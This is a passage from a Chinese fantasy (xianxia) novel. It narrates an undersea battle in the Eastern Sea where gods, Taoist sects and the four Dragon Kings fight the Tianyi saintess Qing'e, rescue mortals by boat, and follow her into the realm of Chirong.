程净竹落在她后背的手一顿,他垂眸,凝视她血红的眼,片刻,他的指腹轻轻擦过她被血浸然的眼睑,阿姮眼睛不禁眨动一下,她不知道自己的眼泪为什么忽然不受控地一颗颗掉,甚至使得她眼中的血红减淡。 “别怕,阿姮。” 他的手轻轻抚过她的发,说。 阿姮曾觉得他的声音总有令人安定的力量,可是此刻,她的那颗血肉心脏在胸腔里却跳得更加猛烈,她抱着他,可仅剩的一只手却让她觉得,她怎样都无法真正抱住他。 青峨冷眼睨着他们,手指在胸口一点,裂痕复现,又是数枚法器飞旋出来,紫芒几乎照彻东海,她悬身不动,冷冷洪流向下,以倾覆之势,势要毁灭一切。 这一刹那,程净竹一手将阿姮搂得更紧,阿姮的下巴抵在他的肩头,她听见许多声音,却什么都看不清,阿姮不安地扯了扯他的衣袍:“小神仙?” 程净竹扬起一只手,指尖金芒如缕:“有银汉之水为依托,你的手臂还会长好的,阿姮,喜欢什么,便要留住什么,你好不容易才有一副你喜欢的壳子,不是吗?” 说话间,他指尖勾描的金芒化成一道金印,那金印的光芒映照他冷冽的眉眼,向着滚滚洪流,冲天而去。 他指节一松,俯身之际,下巴轻抵她肩,金色的裂纹悄无声息自他的衣襟里蜿蜒往上,爬上他的颈项,他竭力维持着身躯不动,裂纹一寸一寸像要崩开他单薄的皮肤,他紧咬牙关,额角的青筋几乎暴起,裂纹终于隐没于皮肤之下,往每一寸血肉里深扎,而不再显于外相,这一刻,他听到阿姮的声音:“可是,壳子就是没有你重要啊。” 程净竹一瞬抬起眼帘,他泛白的唇微扬了扬,还没发出声音,鲜血充盈口腔,涌了出来。 阿姮依旧什么也看不清,滂沱的水声中,她觉得自己好像听到了他的心跳声,她不由往下,耳贴在他胸膛,听见他的心跳竟然越来越缓,越来越缓。 她敏锐地嗅到芳香的血气,喉咙本能的干涩:“你受伤了吗?你的金身呢?” “金身不过一道禁制而已,破了也没什么稀奇,”程净竹像终于攒够一点力气,他嶙峋的喉结滑动,声音有些哑,抬起手背缓缓擦去唇边血迹,说,“放心,我并无大碍。” 不远处战场中心,仍在为海兵与凡人苦苦支撑的积玉只见程净竹后背一道印记骤然破裂,那是他从师祖那里得来的神印,那是他亲手打入小师叔体内的保命神印。 也只有他看得见那道破碎的神印。 可那神印……却因小师叔画出的那道金印而彻底的毁了! 东海之上,轰隆不止的雷电竟然钻入水中,击穿散发紫芒的滚滚气流,那雷声几乎响彻在所有人的耳边,与此同时,天地之间,一道威严赫赫的声音落下:“十二金阙诸神何在?四方玄门何在?朕谕令诸卿,解救苍生,护卫吾儿!还不速速现身!” 钻入海底的雷电瞬息形成一个巨大的金色法阵,海水竟然全都被阻挡在外,天衣混血们因这忽如其来的震动而险些抬不稳轿辇,群妖被雷电击打得抱头鼠窜。 青峨稳稳悬立,雷电根本难近她身,她手背碧绿的玉片映照那金阵中,无数金芒如缕,瞬息化成无数道人影。 诸神霞衣彩饰,虽游走人间诛妖伏魔已久,却依旧不改神仙威严,不见分毫狼狈,他们并非十二金阙全部神明,还有一部分与人间地仙一道,仍在解救人间妖祸。 除神明之外,还有一部分上清紫霄宫弟子,一部分天下四方玄门中人,他们只听得天帝一声点将号令,便立即应召。 天帝的法阵顷刻将他们传送至此,上清紫霄宫药王殿殿师阳钧望了一眼这茫茫海水:“这……是东海?” 积玉遥遥望见阳钧真容,他立即潸然泪下:“师父!” 阳钧立即循声望去,见积玉苦苦支撑着一道法阵,脊背都要压弯了,他立即指尖一点,金光飞去,托住法阵,积玉哭着喊:“师父!您快看看小师叔,小师叔他……” 阳钧闻言,左右一望,只见那黑衣少年怀中抱着个断了臂的姑娘,站在那里,阳钧一愣,却见那少年抬起脸来:“师兄。” 阳钧正要说话,却被人一把推开:“挪开,挡着我了你!” 程净竹看见他,唤了声:“师父。” 那人正是慈济真君。 “你怎么了?”阿姮一只手抓住他后背的衣料,她不断地想着积玉没说完的话,急切地问,“积玉说你怎么了?” “没什么。” 程净竹摸了摸她的脑袋:“我用了父亲给我的金印,师父,师兄,各路神仙,四方玄门都来了。” 阿姮知道那金印。 她找回来的记忆告诉她,那叫做明光印。 是赤戎神山幽隙中的小草哥哥画了很多年的金印,是他后来,再也不愿画的那道金印。 “劫数,都是劫数!” 慈济真君注视着少年身上那道破碎的神印,他神情复杂,叹了口气,手指一动,彩雾混合着令人无比舒适的药气浸入那少年的身躯,如同穿了一根线在那碎裂的神印上,却也不过是摇摇欲坠的维系。 “多谢师父。” 程净竹微微垂首。 “你谢我……做什么?”慈济真君动了动嘴唇,想说,逆徒,这回,我是真救不了你了,但对上少年那双剔透沉静的眼睛,他闭嘴了。 “白泽殿下。” 其他诸神皆俯首,齐声:“小神拜见殿下!” 原本正迷糊的三真道人被这些神仙的神音给震清醒了,他定睛一看,嚯,水底,再一看,诶?那不是…… “殿下!” 三真道人瞪大眼睛,再看他怀里那姑娘,还有一边的紫衣姑娘:“阿姮姑娘,赵姑娘!” “无晦子!你快看呐!” 三真道人忙推身边人。 无晦子当然看见了,他还看见那个悬在不远处的少女,那少女明明面容稚嫩,但无晦子却觉得她浑身诡异,诡异到令人心肺生寒。 “道长,想不到还能再见到你们……”霖娘哑着声音,说道。 岐山之上,她与积玉连同这些僧道一起拖住了那酆水水伯,后来分道,僧道们各自去除妖伏魔,她便和积玉一路找寻阿姮与程净竹。 霖娘目光稍移,发现那酆水水伯竟然也赫然在列。 “天帝将你们送到这里来,定然费了不少力气,他还能撑得住十二金阙的重担么?七杀星的责任,他还能承担得动么?” 青峨面色阴沉,她想也知道,定然是那白泽方才画的那个金印的作用,天帝感知他的方位,送来这些神仙与玄门人,那他在天上,必然会更不好过,没办法,这便是九仪再造三界而成就的法则,那天帝担负着十二金阙所有神仙的神魂,又承担着七杀星对于人间军队的威慑之力,他的臣子他要护,他的苍生他要保,多少的责任压住他,合该压得他生不如死。 慈济真君一双神目将那少女上下一扫:“天衣圣女身负神王无上神通,你将这人间搅成一团乱麻,如今竟又在此,残害东海生灵?” “尔等凡人依托九仪的精纯清气占天为阙,可是忘了数千年前,这所谓的三界,本就是我天衣神族的?” 青峨冷笑一声:“这东海也是我们的,龙族可占,我亦可收。” “天衣人果真好不要脸,什么你们的,”那酆水水伯晃了晃手里的酒葫芦,撇嘴,“世生万物,天地自然属于万物生灵,你说是你们的就是了?怎么你们是觉得万物生灵都得给你们交租子啊?” 酆水水伯一副老乞丐模样,说话也像老乞丐吵架,骂骂咧咧的,若不是他浑身精纯清气做不得假,任谁看了,也难相信他竟是正经的酆水水神。 可神仙的宝光彩饰大多是因为凡是精纯清气所凝结的法宝,必定光华熠熠,华美无边,神仙本有法相无数,他们也并没有那么不食人间烟火。 毕竟,人间烟火本是他们的功德所在。 所以神仙本有文雅些的,也有不修边幅的,还有些碎嘴子的,正巧,酆水水伯是不修边幅与碎嘴子二者兼之,还有个嗜酒贪杯的爱好,因此,酒葫芦正是他的法宝。 “你们来了也好,”青峨一副面容不悲不喜,“便让这东海最后再热闹一回,今日过后,没了你们,我看那天帝老儿在紫微金阙必是孤掌难鸣!” 她话音落,一扬手,胸前划出一道紫色裂隙,万千法器争先恐后地飞旋出来,好似千军万马,滚滚的黑气缠裹着冷冷的紫光,铺天盖地。 万妖仿佛顷刻受到感召,黑气渗入他们的身躯,血光充盈他们的双眼,他们的瞳孔不约而同地放大,脑海里诸多纷杂的声音鼓舞着他们。 去,吃尽那些凡人的血肉! 去,享用那些海兵的神魂! 不是想要求道吗?不是想把那些高高在上的凡人化成的神仙拉下神坛么? 快嗅啊,他们身上的精纯清气……多好闻啊! 何罗鱼几个巨大的身躯发狂似的搅动海水,其余群妖亦得火种之力,只觉浑身力量充盈,他们疯狂地扑向海兵和凡人们,诸神得见此景,数名女仙飞出长练,练如霞光,笼罩住海兵与凡人们,长练穿行于海,勾勒一片茫茫烟霞。 一名身形魁梧高大的金仙落去海兵与凡人堆里,他手中长刀一挥,金光无边,一双怒目下视,滚滚威压荡起海底层层尘土。 兴奋的群妖被逼退数步,金仙振臂一挥,海兵与凡人们身披烟霞随他杀去,海底顿时一片震天声响。 只因借助了天衣火种的力量,妖魔们面对这些神仙天然的威压亦挺得起身骨,多的是气力,神仙们各展法宝,玄门中人亦毫不犹豫奔入战场,各显神通。 汹涌的紫雷黑雾中,一道金光如矢破水,荡开层层浪涛飞向悬立半空的青峨,那黑炻反应迅速,挡在青峨身前,以刀一抵,金光击穿刀刃的刹那,黑炻胸前破开一个血洞,那金光将要钻过他的身躯,青峨抓住他往一侧拽去。 金光击穿一座海崖,顿时碎石轰隆滚落,海底震动。 黑炻胸前的血洞里显露一缕幽冷的紫芒,他垂首看向自己的刀,断刀瞬息融合如初,只因此刀乃是他的紫目神窍外化之相,再抬首,茫茫紫烟中,那神仙露出真容,正是那慈济真君。 然而这位法力无边的真神,却未能伤他神窍分毫。 神窍不灭,他便永生。 黑炻冷冷一笑,旋身再度落到青峨身前,扬起手中刀,与那真神对峙。 “圣女,卑下这便助您!” 天衣大长老在辇上,他听到那万千法器飞旋转动的声音,手掌在轿杆上重重一拍,赤金铃未动,数枚摄魂杵凭空乍现,机括齐齐转动的声音刺痛人的耳膜,无数森寒的铁链在海底穿行,四方勾连,竟像织起的铁网,拔地而起的牢狱。 “快打碎这些法器,不能让这铁网织成!” 阳钧拂尘一扫,金光穿水,那大长老的轿辇粉碎,数名天衣混血身形不稳,朝海底坠去,大长老挽手之际,幽幽紫光托着他的残躯稳稳落地。 诸神与玄门中人齐齐施法,金光粉霞所过之处,无数法器轰然碎裂,烟尘四起,而青峨在这片尘埃中微微扬首,手背碧绿的玉片好似她冰冷的神光,光华映照之处,碎裂的法器在诡异的紫烟中刹那恢复如初。 慈济真君飞袖扫出数道金色药箓,护在青峨身前的黑炻立即扬刀去斩,不想锵然一声,金印未破,反倒令他虎口发麻,黑炻立即拉住青峨旋身落去地上,方才迎面而来的药气太苦太浓,侵蚀着黑炻的心神,令他眼前有些昏黑,不由踉跄两步,也是此时,青峨的身形自他身后露了出来,那慈济真君顷刻间又是数道药箓打来,青峨手背一抬,波光划过她空洞的眼眶,她翻身往上,黑气盘旋如法阵猛然压下,她穿身而过,重重黑气扑向慈济真君,慈济真君撤身后退,一掌翻出金光抵住漆黑的气流,另一只手打出药箓,青峨手指一挥,飞旋的法器迸发幽冷的光,犹如刀刃割破药箓。 浓烈的药气散开来。 阳钧手持拂尘,攻向那天衣大长老,大长老一双残废的腿岿然不动,一掌抵开阳钧的拂尘,手中骤然多了一柄拐杖,那拐杖正是他紫目神窍外化之相,他拐杖一扬,推出重重紫烟,那烟气一触阳钧的衣袖,便顷刻燃起紫火,熊熊燃烧。 阳钧一掌按灭烈火,翻开掌心,只见一道血红的裂口,仿佛方才缠住他的根本不是什么紫火,而是凶兽仗着尖利的齿,狠狠咬了他一口。 天衣大长老见青峨轻飘飘落在身侧,他并无双目,却敏锐地察觉她急促的气息,他拧起眉头:“圣女,您的身躯……” 青峨虽不动声色,口中却已满是血腥味,她已继承父王的全部神通,这些神仙,玄门,任谁也难伤她分毫,可她这样一副孱弱躯体,一下化出这么多的法器,胸中的紫目神窍又封着两枚火种,再这样下去,她的这副身躯一定会爆炸。 青峨并不理会大长老,她再度飞身而起,心中默念起晦涩的咒文,双手指节轻动,在海水中划出一道咒印,万千法器机括中发出尖啸,紫火与墨流一同下压,被摄魂杵铁链勾缠起来的这片地方重现浑浊,紫火在水中蔓延,燃烧。 群妖们更加兴奋,更加凶猛,他们发了疯似的厮杀,扑咬,残弱的海兵们不约而同将那些凡人们护在中间,数名金仙降下神通,压断多少妖怪的膝盖,却依旧挡不住他们疯狂的攻势。 青峨身体里流散出去的黑气弥合着摄魂杵铁链形成的铁网之间的每一道缝隙,神仙们用金印,用法阵,却依旧难以阻止那铁网弥合的速度。 “诸位,看到了吗?这便是火种的力量。” 青峨沾血的唇微扬,她声音很轻,却清晰地落到每一个人耳旁:“摄魂杵织成的铁网或许不能将你们怎么样,可那些凡人真的太脆弱了不是吗?” 几乎青峨话音方落,所有的神仙,玄门中人都朝那战场中望去,群妖翻腾,海兵们奋力将凡人围护在中间,数名金仙降下的霞光也将他们笼罩,可他们身上的气泡却在一颗颗碎裂,积玉见状,立即并指结印,他的印落下去,凡人们身上的气泡恢复一瞬,又破碎了,海水立即汹涌地冲刷着他们的口鼻,包裹他们的身躯。 慈济真君立即降下一道光障,数名神仙接连加注法力,然而火种的黑气无孔不入,在这越来越高,越来越密的铁网中,铁链乱穿,尖锐的棱锥裹着紫火四处乱烧,凡人身上的气泡根本聚不起来。 诸神不语,却齐齐念咒结印,明明是在深海之中,他们周身却金光耀耀,清风缕缕,那风一缕一缕飘去凡人们的身边,像无形的阻隔,将他们从溺水的边缘拉拽回来。 此时,阿姮感受到海底的炁变得很多,而且流动得很快,却是以一种惊人的速度在不断的消耗。 她感觉得到,那是清气。 是诸神身上的精纯清气。 阳钧再次被天衣大长老的紫火灼伤,他后退两步,两人飞步落来他身旁,利刃出鞘,与那大长老的拐杖悬空缠斗起来。 “阳钧,没事吧?” 鹤发白衣的老翁转过脸,那双清明锐利的眼看向阳钧。 阳钧捏了捏掌心,摇头:“多谢。” 此老翁正是上清紫霄宫合山殿殿师元一。 在阳钧另一边,则是手攥一支玉简的灰衣老者,他看起来与阳钧年岁相当,手指在玉简上飞快地扣了扣:“我算到若这铁网织成,那些凡人都得死在这里!” 他正是上清紫霄宫相微殿殿师守朴。 “还用你算?” 元一冷哼一声,操控着利剑与那天衣大长老的拐杖斗得你来我往,剑气乱扫,层层刮过铁网,发出“噌噌”之声。 海底群魔乱舞,癫狂的何罗鱼在那战场上指挥着他们,不顾一切地冲撞海兵们的防线,慈济真君下视其间,沉声说道:“还请诸位助我一臂之力!” 慈济真君的药箓在头顶那片海水间结了厚厚一层金色的药箓,生生抵抗着铁网的弥合,女仙们挽起手指,灿烂的烟霞流转过她们的臂弯,如披帛一般缠住铁网两端,奋力阻止铁网合拢,男神仙们抄起法宝钻入药箓,以身抵抗。 阳钧扬手,拂尘千丝万缕织成一只雪白的船,那船随他所指,几乎在群妖突破海兵防线的同时,将那些凡人们全都盛到船中,女仙的霞光将他们托起,酆水水伯的酒壶化出涛涛江流,那是他真身化出的酆水,即便入了海,也不与海水相融,酆水托起那雪白的大船,汹涌的浪花推着船向上飞去。 霖娘扬手结印,水练自小镜钻出,缠住她面前柳行云的腰身,欲将他送到那大船上去:“柳郎,你也走,你快走!” 柳行云却握住她结印的那只手,刹那间,水练消散,他紧紧地握着她的手不放,霖娘急得眼泪又掉下来:“柳郎!再不走你会死的!走啊!” 霖娘用力甩开他的手,小镜化出水练缠住他,水练扬起,缠着他穿过层层海水往上,将他扔入那大船之中,他爬起来,望向船下,霖娘的脸已经变得模糊:“霖娘!” 霖娘仰着脸,泪眼模糊。 正是此时,青峨轻轻摩挲手指,重重紫烟伴随不断流转的黑气裹住那大船,将它往下一压,一船凡人在船中翻来滚去,船身不断划向海底。 三真道人与无晦子等玄门中人见此,他们立即飞身而去,扑到船底,将那大船托起来,他们运足法力屏息推着船往上。 手背的玉片闪烁冷光,青峨轻声一笑:“没有了九仪,你们这些神仙也不过如此,事到如今,还想着救这些凡人的命么?可你们的精纯清气又能保他们多久?你们因精纯清气而永生,这些凡人于你们而言不过朝生暮死的蜉蝣而已,是九仪的法则约束了你们,让你们必须护佑他们这些毫无意义的生命?真可怜。” 那酆水水伯冷哼一声:“你这天衣妖孽如何能明白,生命的宝贵本就在于它的短暂!我们这些老不死的,活得久有什么好?只不过我等的生死,皆在于一个责任而已,为它生,为它死,不仅仅只是九仪娘娘的法则,还是我等立身于十二金阙的道心!” 什么道心不道心的。 青峨神情轻蔑,手指一屈,千重紫盖压下:“是么?那便让我来看一看,你们这些人的道心,到底能不能救得了他们的性命。” 大船又被压下数丈,连绵紫火燃烧裹覆而来,瞬间点燃了三真道人的裤脚,火舌不断往上,他大叫一声,双手却仍撑在船底,酆水水伯翻掌,托着大船的酆水瞬间冲刷过船身,也将他们身上的紫火扑灭,三真道人吐了几口水,骂道:“天杀的天衣妖孽!差点没烧死你三真爷爷!” 铁网不断在挤压着慈济真君的药箓,栖身那裂隙中,以身躯抵挡铁网弥合的神仙们被挤压得清气乱窜,摄魂杵胡乱飞舞的铁链的棱锥扎入他们的身躯,鲜红的血液混合金色的华光染红海水,青峨神情冷漠,手指轻点,符纹乱飞,将那大船锁住,压着底下的玄门众人,像要将船上的人,船下的人彻底拖入深渊。 正是此时,银尾法绳与万木春齐齐飞向青峨,红云烈焰铺开一片,青峨被那浓烈的颜色一晃,她施法的手被打断,飞身往后避开。 慈济真君扬手,七十二根金针如矢发出,黑炻见状,立即飞身跃去,挡在青峨身前,七十二根金针刹那穿身而过,血雾迸溅,青峨被一根金针穿透了手掌。 她手背的玉片映着黑炻下坠的身影。 他摔在地上,七十一根金针在他的每一寸关节熠熠生辉。 金针钉住了他的躯体,但他那双眼仍然睁着,紫目神窍仍在胸腔之中,他并没有死。 也是这一刹那,诸神与众玄门人齐力,助酆水将那大船托起,穿波破浪,向着海面去。 青峨手背一转,看清被她困在阵中的阿姮与程净竹,她脸上一点笑意也没有,手掌一握,金针飞出,她立即施法,万千法器飞旋而动,紫烟黑气皆化成一只又一只巨大的利爪,势如破竹地向那大船去。 正是此时,轰隆的雷电声破空入海,闪电在海水里迸发冷光,烈如箫管的龙吟响起,震天撼地,掀起万里波涛。 交织的龙吟几乎震彻所有人的耳膜,很快,海底深处,一声嘶哑的龙吟响起,以悲烈之声,声声相合。 轰然如巍峨山倒般的声音震彻东海,众人只见三条巨龙破水而来,向着那道嘶哑的龙吟传来的方向,游弋而下。 一时间,海底山倒地陷,一片浑浊。 天衣大长老脸色一变:“不好……” 巨响连声,三条巨龙从碎石污泥下的深隙中飞出,如冲天的霞光流火,紧接着,一条金龙破锁,飞身而出。 金龙腹部刺着一柄宝剑,鲜血几乎染红他的鳞片,他一声声地哀吟,哀吟中,又饱含着滔天的愤怒。 “戟渊!” 嘶哑的龙吟化成怒吼:“还我龙儿命来!” 此时,青峨的手背微微一转,她并未转身,却看到身后伴随波涛而来的万千海兵,几名东海龙宫的侍女在最前面,她们骤听龙王这番悲声,原本苍白的面容顿时更加惨白。 “公主,公主……” 她们四下望去,看见许多人,许多神,许多张面孔,其中却根本没有她们的公主。 那金龙化为龙首人身,那宝剑插在他的胸前,鲜血濡湿了他一身龙袍,腰间缀着一枚金令,而那另外三条龙亦化出人身来,他们三人手上皆握着一枚一模一样的金令。 很显然,他们便是依靠这四块金令之间的联结才精准找到了东海龙王的方位。 东海龙王一把拔出胸前的紫金宝剑,鲜血喷涌,他一双龙睛仿佛染血,紧紧盯住那天衣大长老。 大长老感知到他的气息,握着拐杖的手一紧。 “大哥,是我等来迟了!” 绿髯龙首的北海龙王惭愧道。 “我们不知侄女她竟……”南海龙王紫髯红睛,望着面前的东海龙王,欲言又止。 “一切,都是吾的过错!” 东海龙王紧紧地握着那柄紫金宝剑,“若不是吾错信贼子,东海水族,岸上子民皆不会受此大灾,我龙儿也不会死!” 天衣大长老无法相信这一切。 四海龙王竟然在东海凑齐了。 “西海龙王。” 青峨手背的玉片映照出那蓝髯龙首的龙王模样,不同于另外两位龙王不吝于对东海龙王的安抚,他站在那里一言不发,青峨循着他的方向:“东海之乱明明是你的机会,你难道不想做这四海之主么?东海龙王一死,你西海便是名副其实的四海主宰,这难道不是你西海一族的所求么?” 西海龙王转身,一双深邃的龙睛凝视着那少女片刻,他再回头,正与东海龙王相视,他缓缓开口:“天衣圣女与大长老将这世间的欲望摸得实在太清楚了,圣女所言,吾很难反驳,的确,吾想做这四海主宰,我西海与东海的积怨太多了,大哥死,吾该是最高兴的,大长老与圣女送吾如此大礼,吾是很高兴的。” 紧接着,西海龙王却话锋一转:“可高兴归高兴,吾思来想去,却觉实在无法消受。” 他徐徐转过脸,再度看向那少女:“圣女清楚吾的贪欲所在,以此利诱,对吾而言,看似百利无一害,可圣女须知,吾贪虽贪,脑子却还不糊涂!我龙族是在九仪娘娘舍身化为精纯清气渡人成神之际,因九仪娘娘的精纯清气而化形的,九仪是天地之母,亦是我龙族之母,你天衣人是个什么德行,史书里,传说里,早写烂了,在你们眼里,唯有你天衣神族是世间之最,是唯一尊贵,若这片天地真换了你们来做主,又怎会将我龙族放在眼里?吾即便想要四海主宰的位子,也只会自己跟自家哥哥争,你们算什么东西?真当你们所谓的襄助,吾会放在眼里?” 西海龙王哼笑一声:“天帝一向对我龙族礼遇有加,哪怕我龙族从未向他称臣,这却也不意味着,我龙族与十二金阙的道心不在一处!尔等天衣妖孽,人人得而诛之,我西海与东海之间的恩怨,可比不得你们这些祸世的妖孽来的重要!” 四位龙王站在一处,龙睛如炬,威严赫赫。 “戟渊,吾龙儿的命,今日,便要你,和你的天衣圣女用命来还!” 东海龙王扔了那柄他曾无比珍惜的紫金宝剑,化身为金龙,龙吟怒吼,声声不断。 其他三位龙王亦化龙身,从金龙之侧。 东海残存的海兵本就不剩多少,还都是强撑着残破身躯迎战的,如今,南、北、西三海海兵只听得几位龙王谕令,便立即蜂拥而至。 四条巨龙身负世间至坚的龙鳞,冲破铁网,三海海兵顿时冲入战场,喊杀声震天。 慈济真君趁此机会,立即在那大船上打上一道药箓,一时间,药箓,船下的酆水,以及酆水中撑着船底的玄门众人齐力将大船推了上去。 海底到处是炁,神仙的精纯清气,玄门的清气,万千妖魔浑身的浊气,阿姮的感官因为许多的炁而变得无比敏锐,她觉得自己好像听到了什么声音,可这双眼看不清,她不确定那是什么。 她没有发现自己颈间那颗幽蓝的宝珠变得无比明亮。 程净竹猛地抬起脸。 “小神仙,你也听到了吗?” 阿姮抓着他的衣襟。 程净竹双眼紧盯着浑浊烟波中的某一处:“它来了。” “是什么?” 阿姮在他怀中转过脸,眼中血红,一切都很模糊。 海底凝结起层层的烟雾,以一种肉眼难辨的速度,伴随海底清气与浊气的交织碰撞,雾气越迫越近,它凝结成一副巨大的画布,描摹着一片栩栩如生的山水,水中炁的流动,使那画面中的花草树木皆像被风吹得微微颤动。 “是赤戎。” 程净竹轻声道。 画中山水,一笔一画,都是赤戎。 像出现在海底的海市蜃楼,虚像重重,越来越近。 但此刻无人发现它,这世间,只有程净竹可以感知它,因为它是赤戎飘出来的炁,在天衣人的法阵之下,除天衣人之外,无人可见。 但除了他。 青峨方才避开西海龙王一击,她回过头,手背的玉片闪烁光影,她面上露出无比兴奋的神色,黑炻转身,用他那双幽绿的眼眸看清那片迷雾凝结成的山水。 “圣女!是赤戎!” 黑炻喊道。 青峨此时终于明白过来,琢神冢下三百具白骨制成的招魂香不止能招引父王的元神,还能令漂浮在虚无之境的赤戎连接东海。 若父王复生顺利,他便可以在东海打开赤戎法阵,带领天下妖魔入赤戎,解封印,光复天衣神族。 而这一切,如今都该由她来做! 青峨立即施法,连绵的紫光化为冲天的咒印,冲出海面,她的声音顷刻响彻四方:“凡我信徒,受我谕令,杀入赤戎,解开封印,夺取天地!” 受天衣大长老戟渊之名盘桓在东海岸边的无数妖魔骤听谕令,他们便发出兴奋的尖啸,化成一道又一道的气流扑入海水之中,借着他们那双被黑气笼罩的眼睛,看清东海海面烟雾深处的那片山水。 他们疯狂地朝那海雾凝结成的虚像而去。 青峨复又施法,符纹涌入那雾气凝结的山水中,机括的响声刺遍众人的耳膜,无形的法阵顷刻打开,那片雾气开始卷起剧烈的风,吹向四方。 此时,青峨转身,手背玉片映照那对相拥的少年少女。 毫无预兆的,她猛然飞身朝他二人掠去。 银尾法绳银鳞尽展,绕了几圈,却没拦住青峨,此时,慈济真君手中数道金针发出,黑炻再次以身去挡,整个左臂被削掉了,他仍不退却,青峨迅若闪电,一手伸向那黑衣少年,直逼他胸膛,阿姮在他怀中猛然转过脸,万木春化出,刺向她面门。 青峨被刺穿一边脸颊,血流如注,她却像是根本没有痛觉似的,一掌打向程净竹的胸膛,此时,慈济真君与酆水水伯等神仙齐齐出手,剧烈的金光笼罩而来,程净竹一掌抵上青峨的掌风,周身气流轰然散开,同时将他与青峨各自震飞出去。 朦胧中,阿姮抬眸,血红的视线中,那少年模糊的影子落去一片连绵的人影里,诸神簇拥着他,将他护到身后:“保护殿下!” 程净竹满口鲜血,手指探向海水之中,那少女成了道血红的影子。 “走!” 青峨一声令下,黑炻立即将大长老从阳钧等三位殿师的包围中拽了出来,紧跟青峨身后,海底万妖也好似受到感召,不再恋战,朝那画中奔涌而去。 此时,阿姮耳中响起一道声音。 “阿姮姑娘,我不玩了,你回来吧,回来我们身边。” 青峨冰冷的声音笼罩她整个识海。 阿姮的身躯站了起来,她看了一眼那被诸神簇拥的少年,仍只有一道模糊的影,但她仍然辨得出,那是他。 那些神仙,似乎真的很珍视他。 可是, 他们真的会容许他取回神骨,化解封印么? 阿姮不懂神仙,他们好像总是有很多的顾虑,就连惠山元君生出私心,那份私心也不够彻底,她还是会努力保护凡人,保护信徒。 他们考虑很多,关心很多,怜悯很多,所以束缚很多。 可阿姮不想理会那些。 她又不是神仙。 她没有责任要背,也不必在乎世人是否唾骂。 她只在乎一件事情。 阿姮忽然转过身,那道影子从她眼中消失了,她化成红雾,受无形的牵引,融化在那片妖魔的浊气里。 “阿姮!” 霖娘眼睁睁见阿姮顷刻消失,她奔上前去,万千妖魔中,何罗鱼的戟锋骤然划过她脸侧,她被戟锋重重一击,坠下去。 程净竹几乎要晕厥过去,却听见霖娘这一声唤,他猛然睁起眼皮,目之所及,却根本不见阿姮的身影。 大船将要触碰海面,趴在船上的柳行云听见霖娘模糊的声音:“霖娘……” 相隔太远,他什么都看不清,一瞬间心脏却疯狂地跳,他猛地从船上跳下去,坠入汹涌的水波,与托着船底的玄门中人擦身而过,逆流千重,他却铁了心一坠到底。 大船破水而出,穿行海面,酆水压着千万妖邪妖化成的气流飞速朝岸边去,船上的凡人们被暴雨劈头盖脸砸了一顿,他们终于清醒过来,那中年男人趴在船舷,大口大口地呼吸着,吞咽着没有咸味儿的雨水,忽然间,他望着水面,干裂的嘴唇张开:“只有咱们出来了,是他们送咱们出来的,可他们……那些仙长,还有神仙爷爷们怎么办……” 老翁躺在船中,任由雨水冲刷自己,风雨拍打得他干瘪的脸皮生疼,好一会儿,他发出声音:“咱们能做的,都尽力了,留在那儿就是个死,给神仙们,仙长们添乱,神仙希望咱们活,不论是多短暂的一生,只要咱们认真地活,过得好好的,吃上饭,睡好觉,做好活计,这也算是咱们普通凡人自己最有意义的价值,不能为人的话,就好好为自己。” 大船很快将他们渡上了岸。 那船很快在他们眼前消失了,海面上浓雾弥漫,他们什么也看不着了,踩着土地的脚,竟然有点软。 那中年人跟着村人一块儿,一直跑一直跑,跑回那个背靠竹海的小渔村。 下着暴雨的天,阴沉得厉害。 中年男人飞快奔回自己家门口,有人先到家了,原本静无人声的村中忽然爆发一阵又一阵的哭声。 “爹!是你吗爹!” 这声音似乎是朱家女儿,她哭得太大声了。 “老林?老林你回来了!我不是在做梦吧!” 中年男人想,这是隔壁林家嫂子。 很多很多的哭声此起彼伏,男人抬起头,看向院子里,他的老母亲坐在屋檐下,低矮的小桌上点着一盏油灯,手里端着个蚌壳碗,慢慢地吃着一碗海鲜粥。 她耳朵不好,只有近前的声音才能听得清,这会儿模模糊糊听到些什么,又不清楚,茫然地抬起脸来,那双浑浊的眼却忽然顿在院门口。 她一下颤颤巍巍地站起来。 像不敢相信似的,她看了看他,又看他地上的影子,好一会儿,嘴唇翕动:“……阿生?” “娘……” 男人眼眶顿时红透了,他奔过去,跪倒在母亲面前,大声喊道:“娘!” 老母亲抱住他,眼泪比她先反应过来,顺着脸颊如雨落,她轻轻地拍了拍他的后背:“真的是阿生啊。” “是阿生,是阿生……” 男人泣不成声:“娘,儿子对不起您,害您担心了,还有……” “还有,我想娘做的豆腐鲶鱼汤了。” 风雨呼啸,雷鸣不止。 海面与海底雾气凝结而成的海市蜃楼消失了,波涛之下,一片死寂。 天衣神王耗尽心血铸造的法阵使赤戎漂浮不定,不与外界相通,几千年来,上界一直无法探得它的准确方位,因为它根本就没有一个准确的方位。 当初,诸神随白泽出征,却被天衣神王的法阵阻隔在外,只有白泽孤身进入赤戎,化解了一场浩劫。 而今,天衣圣女打开法阵,她带领她那万千妖魔信徒轻而易举入得赤戎,慈济真君领着诸神与玄门众人,四海水族,紧跟其后,便也终于得以进入赤戎。 霖娘与柳行云踏在一柄金剑上,霖娘一副泪眼,捏起拳头想打他,却望着他血红的胸口不敢动,她哭道:“你疯了吗?没有气泡,没有神仙给你精纯清气护体,你会溺死的!” “死不可怕,我只怕你不见。” 柳行云脸色苍白。 若不是积玉的金剑及时将他接住,金剑又托着他,托着霖娘及时钻过那白雾,他只怕真的就要溺死了。 此时,积玉正跟在他们身后,茫茫风雾中,积玉忽然见程净竹自云中落了下去,他喊了声:“小师叔!” 积玉连忙跟了下去。 霖娘回头见状,拉着柳行云,也往下面去。 黑水河汹涌流淌,如流墨划过连绵的山岳之间,程净竹落到岸边,巍巍老树之下,他并指连画数道金印,袖中的白符飞出,他耳边却始终没有听到一丝音讯。 他猛然吐了口血。 “小师叔!” 积玉落了下来,只见金色的裂纹爬满程净竹的颈侧,他周身淡淡的金光骤然碎裂消散,满身大大小小的伤口显现,鲜血浸满他的衣襟。 他几乎浑身浴血。 那金色的裂纹如锁链一般紧紧锁着他的颈项,单薄的皮肤已经有多处裂开,像树叶蜿蜒的茎。 “小师叔……”积玉震惊得说不出话,半晌,他望着程净竹,声音变得颤抖起来,“您的金身一直都是一道假象,是不是?您根本就没有好起来,您根本……” 东海再遇,积玉还以为小师叔因为那道神印,已经好很多了,那道神印可以暂时保住他的命,他也暂时恢复了金身。 积玉从未怀疑过。 